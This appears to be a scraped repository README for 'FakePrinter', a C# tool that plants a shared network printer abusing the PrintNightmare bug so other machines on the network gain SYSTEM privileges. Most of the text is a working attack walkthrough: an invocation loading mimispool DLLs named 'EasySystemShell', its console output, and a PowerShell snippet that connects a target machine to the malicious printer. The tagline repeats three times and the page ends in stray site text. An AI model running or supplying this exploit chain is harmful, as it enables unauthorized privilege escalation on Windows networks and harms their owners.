C# tool for installing a shared network printer abusing the PrinterNightmare bug to allow other network machines easy privesc!
C# tool for installing a shared network printer abusing the PrinterNightmare bug to allow other network machines easy privesc!
C# tool for installing a shared network printer abusing the PrinterNightmare bug to allow other network machines easy privesc!
Discovered and demonstraited by the one and only Benjamin Delpy
C:\Users\Flangvik\Desktop>FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[ Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry keyYou can then reach the EasySystemShell printer from the same network by hitting the computer it was installed on using explorer (Go to \\printer-installed-host\ in explorer, click the printer and install) or using PowerShell
$serverName = 'printer-installed-host'
$printerName = 'EasySystemShell'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterNameNo open issues yet, or sync has not completed.